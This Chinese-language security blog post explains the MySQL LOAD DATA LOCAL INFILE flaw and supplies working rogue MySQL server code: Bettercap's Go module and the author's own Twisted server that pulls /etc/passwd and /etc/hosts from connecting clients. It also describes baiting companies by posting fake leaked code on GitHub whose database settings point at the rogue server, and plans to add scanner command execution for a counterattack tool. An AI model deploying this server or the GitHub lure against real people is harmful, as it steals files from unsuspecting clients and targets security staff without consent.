【技术分享】从MySQL出发的反击之路
某天看到 lightless 师傅的文章 Read MySQL Client's File[https://lightless.me/archives/read-mysql-client-file.html\]，
觉得这个「漏洞」真的非常神奇，小小研究了一下具体的利用。
0x00 漏洞原理
几篇参考文章已经将原理说的比较清楚了，问题出在 LOAD DATA INFILE 的地方，该功能是用于读取客户端上的一个文件，并将其内容导入到一张表中。
在 MySQL 连接建立的阶段会有一个必要的步骤，即
客户端和服务端交换各自功能
如果需要则创建SSL通信通道
服务端认证客户端身份
还有一个必要的条件就是 MySQL 协议中，客户端是不会存储自身请求的，而是通过服务端的响应来执行操作。
配合这两点就可以发现，我们可以恶意模拟 MySQL 服务端的身份认证过程，等待客户端的 SQL 查询，然后响应时返回一个 LOAD DATA 请求，客户端即根据响应内容上传了本机的文件。
借用 lightless 师傅的描述，正常的请求流程为
客户端：hi~ 我将把我的
data.csv文件给你插入到test表中！
服务端：OK，读取你本地data.csv文件并发给我！
客户端：这是文件内容：balabala！
而恶意的流程为
客户端：hi~ 我将把我的
data.csv文件给你插入到test表中！
服务端：OK，读取你本地的/etc/passwd文件并发给我！
客户端：这是文件内容：balabala（/etc/passwd文件的内容）！
所以，只需要客户端在连接服务端后发送一个查询请求，即可读取到客户端的本地文件，而常见的 MySQL 客户端都会在建立连接后发送一个请求用来判断服务端的版本或其他信息，这就使得这一「漏洞」几乎可以影响所有的 MySQL 客户端。
客户端：hi~ 告诉我你的版本！
服务端：OK，读取你本地的/etc/passwd文件并发给我！
客户端：这是文件内容：balabala（/etc/passwd文件的内容）！
0x01 已有的利用
Bettercap [https://github.com/bettercap/bettercap\]已经集成好了一个恶意的 MySQL 服务器，可以在项目 Wiki
[https://github.com/bettercap/bettercap/wiki/mysql.server\]中找到详细的说明，使用也非常简单。
1$ sudo bettercap -eval "set mysql.server.infile /etc/hosts; mysql.server on"
相关代码在 mysql_server.go [https://github.com/bettercap/bettercap/blob/master/modules/mysql\_server.go\]。
1package modulesimport ( "bufio"
2 "bytes"
3 "fmt"
4 "io/ioutil"
5 "net"
6 "strings"
7
8 "github.com/bettercap/bettercap/log"
9 "github.com/bettercap/bettercap/packets"
10 "github.com/bettercap/bettercap/session"
11
12 "github.com/evilsocket/islazy/tui")type MySQLServer struct {
13 session.SessionModule
14 address *net.TCPAddr
15 listener *net.TCPListener
16 infile string
17 outfile string}func NewMySQLServer(s *session.Session) *MySQLServer {
18
19 mysql := &MySQLServer{
20 SessionModule: session.NewSessionModule("mysql.server", s),
21 }
22
23 mysql.AddParam(session.NewStringParameter("mysql.server.infile", "/etc/passwd", "", "File you want to read. UNC paths are also supported."))
24
25 mysql.AddParam(session.NewStringParameter("mysql.server.outfile", "", "", "If filled, the INFILE buffer will be saved to this path instead of being logged."))
26
27 mysql.AddParam(session.NewStringParameter("mysql.server.address",
28 session.ParamIfaceAddress,
29 session.IPv4Validator, "Address to bind the mysql server to."))
30
31 mysql.AddParam(session.NewIntParameter("mysql.server.port", "3306", "Port to bind the mysql server to."))
32
33 mysql.AddHandler(session.NewModuleHandler("mysql.server on", "", "Start mysql server.", func(args []string) error { return mysql.Start()
34 }))
35
36 mysql.AddHandler(session.NewModuleHandler("mysql.server off", "", "Stop mysql server.", func(args []string) error { return mysql.Stop()
37 })) return mysql
38}func (mysql *MySQLServer) Name() string { return "mysql.server"}func (mysql *MySQLServer) Description() string { return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client."}func (mysql *MySQLServer) Author() string { return "Bernardo Rodrigues (https://twitter.com/bernardomr)"}func (mysql *MySQLServer) Configure() error { var err error var address string
39 var port int
40
41 if mysql.Running() { return session.ErrAlreadyStarted
42 } else if err, mysql.infile = mysql.StringParam("mysql.server.infile"); err != nil { return err
43 } else if err, mysql.outfile = mysql.StringParam("mysql.server.outfile"); err != nil { return err
44 } else if err, address = mysql.StringParam("mysql.server.address"); err != nil { return err
45 } else if err, port = mysql.IntParam("mysql.server.port"); err != nil { return err
46 } else if mysql.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil { return err
47 } else if mysql.listener, err = net.ListenTCP("tcp", mysql.address); err != nil { return err
48 } return nil}func (mysql *MySQLServer) Start() error { if err := mysql.Configure(); err != nil { return err
49 } return mysql.SetRunning(true, func() {
50 log.Info("[%s] server starting on address %s", tui.Green("mysql.server"), mysql.address) for mysql.Running() { if conn, err := mysql.listener.AcceptTCP(); err != nil {
51 log.Warning("[%s] error while accepting tcp connection: %s", tui.Green("mysql.server"), err) continue
52 } else { defer conn.Close() // TODO: include binary support and files > 16kb
53 clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
54 readBuffer := make([]byte, 16384)
55 reader := bufio.NewReader(conn)
56 read := 0
57
58 log.Info("[%s] connection from %s", tui.Green("mysql.server"), clientAddress) if _, err := conn.Write(packets.MySQLGreeting); err != nil {
59 log.Warning("[%s] error while writing server greeting: %s", tui.Green("mysql.server"), err) continue
60 } else if read, err = reader.Read(readBuffer); err != nil {
61 log.Warning("[%s] error while reading client message: %s", tui.Green("mysql.server"), err) continue
62 } // parse client capabilities and validate connection
63 // TODO: parse mysql connections properly and
64 // display additional connection attributes
65 capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8)))
66 loadData := string(capabilities[8])
67 username := string(bytes.Split(readBuffer[36:], []byte{0})[0])
68
69 log.Info("[%s] can use LOAD DATA LOCAL: %s", tui.Green("mysql.server"), loadData)
70 log.Info("[%s] login request username: %s", tui.Green("mysql.server"), tui.Bold(username)) if _, err := conn.Write(packets.MySQLFirstResponseOK); err != nil {
71 log.Warning("[%s] error while writing server first response ok: %s", tui.Green("mysql.server"), err) continue
72 } else if _, err := reader.Read(readBuffer); err != nil {
73 log.Warning("[%s] error while reading client message: %s", tui.Green("mysql.server"), err) continue
74 } else if _, err := conn.Write(packets.MySQLGetFile(mysql.infile)); err != nil {
75 log.Warning("[%s] error while writing server get file request: %s", tui.Green("mysql.server"), err) continue
76 } else if read, err = reader.Read(readBuffer); err != nil {
77 log.Warning("[%s] error while readind buffer: %s", tui.Green("mysql.server"), err) continue
78 } if strings.HasPrefix(mysql.infile, "\\") {
79 log.Info("[%s] NTLM from '%s' relayed to %s", tui.Green("mysql.server"), clientAddress, mysql.infile)
80 } else if fileSize := read - 9; fileSize < 4 {
81 log.Warning("[%s] unpexpected buffer size %d", tui.Green("mysql.server"), read)
82 } else {
83 log.Info("[%s] read file ( %s ) is %d bytes", tui.Green("mysql.server"), mysql.infile, fileSize)
84
85 fileData := readBuffer[4 : read-4] if mysql.outfile == "" {
86 log.Info("\n%s", string(fileData))
87 } else {
88 log.Info("[%s] saving to %s ...", tui.Green("mysql.server"), mysql.outfile) if err := ioutil.WriteFile(mysql.outfile, fileData, 0755); err != nil {
89 log.Warning("[%s] error while saving the file: %s", tui.Green("mysql.server"), err)
90 }
91 }
92 }
93
94 conn.Write(packets.MySQLSecondResponseOK)
95 }
96 }
97 })
98}func (mysql *MySQLServer) Stop() error { return mysql.SetRunning(false, func() { defer mysql.listener.Close()
99 })
100}
不过这个 server 实现的较为简单，只能用来临时用一下。
另外又找到一个比较古老的 Python 实现，相关代码在 rogue_mysql_server.py [https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue\_mysql\_server.py\]，
测试了下也存在和 Bettercap 类似的问题，反正一共也就那么几个请求，完全可以自己来写，这样自由度更高一点。
0x02 自行实现
Python 来做 TCP 通信，最常用的就是 Twisted 了，这是一个功能非常完全的异步 TCP 框架，著名的 Scrapy 爬虫框架就是基于 Twisted 的。
仔细看了下 Bettercap 模块的代码和 MySQL 文档，发现其实只需要四个响应，分别是首次连接的 Greeting，第一次请求的 FirstResponseOK，读取文件的 ReadFile 和第二次请求的 SecondResponseOK，只要知道了响应，写 Twisted 的协议就非常简单了。
1class MySQLProtocol(Protocol):
2 """
3 MySQL协议
4 """
5 GREETING, FIRST_RESP, SECOND_RESP, FILE_READ = range(4)
6 STATE = {
7 GREETING: 'GREETING',
8 FIRST_RESP: 'FIRST_RESP',
9 SECOND_RESP: 'SECOND_RESP',
10 FILE_READ: 'FILE_READ',
11 } def __init__(self):
12 super(MySQLProtocol, self).__init__()
13 self.state = self.GREETING
14 self.logger = Logger(__name__).get_logger() def connectionMade(self):
15 msg = f'Got a new connection from {self.transport.hostname}'
16 self.logger.info(msg) # Greeting
17 mysql_greeting = bytes.fromhex( '5b0000000a352e362e32382d307562756e7475302e31342e30342e31002d000000403f59264b2b346000fff70802007f8015000000000000000000006869595f525f635560645352006d7973716c5f6e61746976655f70617373776f726400'
18 ) if self.state == self.GREETING: # 发送 GREETING 包
19 self.transport.write(mysql_greeting)
20 self.state = self.FIRST_RESP def connectionLost(self, reason=connectionDone):
21 msg = f'{self.transport.hostname} disconnected'
22 self.logger.info(msg) def dataReceived(self, data):
23 filenames = ( '/etc/passwd', '/etc/hosts'
24 ) # First response ok
25 first_response_ok = bytes.fromhex('0700000200000002000000')
26 second_response_ok = bytes.fromhex('0700000400000002000000') # Server response with evil
27 filename = random.choice(filenames)
28 dump_file = chr(len(filename) + 1).encode() + bytes.fromhex('000001fb') + filename.encode()
29
30 self.logger.debug(f'Client state: {self.STATE[self.state]}, data received: {data}') if self.state == self.FIRST_RESP: # 发送第一个响应包
31 self.transport.write(first_response_ok)
32 self.state = self.FILE_READ return
33
34 elif self.state == self.FILE_READ: # 发送读文件包
35 self.logger.debug(f'Trying to read {filename}, sending data: {dump_file}')
36 self.transport.write(dump_file)
37 self.state = self.SECOND_RESP return
38
39 elif self.state == self.SECOND_RESP: # 解析读文件响应 发送第二个响应包
40 file_length = len(data) try:
41 file_content = data[4: file_length - 4].decode() except UnicodeDecodeError:
42 file_content = data[4: file_length - 4]
43
44 self.logger.info(f'File received: \n{file_content}') if len(file_content) > 5: with open(os.path.join(os.path.dirname(__file__), '../logs/mysql_file.log'), 'a+', encoding='utf-8') as f:
45 f.write(f'{self.transport.hostname}\n')
46 f.write(f'{file_content}\n\n\n')
47 self.transport.write(second_response_ok)
48 self.transport.loseConnection() return
49
50 else:
51 self.logger.warning(f'Unknown client state: {self.state}')
52 self.transport.loseConnection() return
注意：Twisted 的写法是当前连接的变量存在 protocol 中，而整个服务的变量存在 factory 中。
0x03 It's a trap!
只要我们把这个恶意的服务开在 3306 端口上，自然会有全球各地的扫描器来光顾，不光能读到一些客户端文件，还能接收到很多各类后门挖矿 payload，不过这只是常规操作。
近两年来，各大厂商都开始做自己的 GitHub 代码监控，防止内部代码泄露，借着这一点，更猥琐的思路是在 GitHub 上传包含各大厂商特征的假代码，在其 MySQL 配置中加上我们恶意服务的地址和端口，这样当厂商监控到 GitHub 的代码，大概翻一下就可以发现配置文件中的数据库密码，一般人都会去连接一下，此时……
不过 Mac 安装的 MySQL 版本默认没有开本地文件上传的功能，触发漏洞需要手动指定 --enable-local-infile 参数，只能说一声可惜了。
疑似某广东公司的请求，可惜没读到文件。
抓到的谷歌云扫描器。
某俄罗斯扫描器。
0x04 展望
一个只能读特定文件的洞说起来还是用处小了一点，之后计划再集成一下之前 AWVS 8 和 10 的命令执行，做成一个更有威力的反击工具。
0xFF 参考文章
延伸阅读
关注MLSRC，了解更多精彩
相关推荐
